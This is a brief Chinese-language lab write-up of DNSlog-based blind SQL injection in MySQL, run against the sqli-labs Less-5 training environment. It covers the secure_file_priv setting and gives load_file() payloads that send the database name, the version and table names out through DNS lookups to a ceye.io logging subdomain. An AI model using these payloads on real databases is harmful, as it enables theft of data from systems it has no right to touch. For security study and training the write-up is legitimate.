step1:
通過DNSlog盲注需要用到load_file()函數。show variables like '%secure%' 查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
在5.7.6之后默認為null,經測試phpstudy (5.5.53)和 mamp(5.6.35)默認值都是為null,可能是現在集成環境也意識到這些安全問題,做出了更改。
自己添加
重啟mysql
ok!
step2:
測試LOAD_FILE函數
正常!
step3:
登錄ceye.io,獲取Identifier
step4:
先罵自己一句,沒use選中數據庫就select,結果ceye后端一直沒接收到消息。(lll¬ω¬)
use security;
select load_file(concat('\\\\\\\\',(select database()),'.6dz4ut.ceye.io\\abc'));
ceye后端情況
ok!
step5:
sqli-labs環境Less-5測試
獲取數據庫版本
payload:1' and if((select load_file(concat('\\\\',(select version()),'.6dz4ut.ceye.io\\abc'))),1,1)--+
獲取security的表
payload:1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.6dz4ut.ceye.io\\abc'))),1,1)--+
ok!
全程基本沒啥問題,就是前提條件secure_file_priv為null很蛋疼。
http://docs.hackinglab.cn/HawkEye-Log-Dns-Sqli.html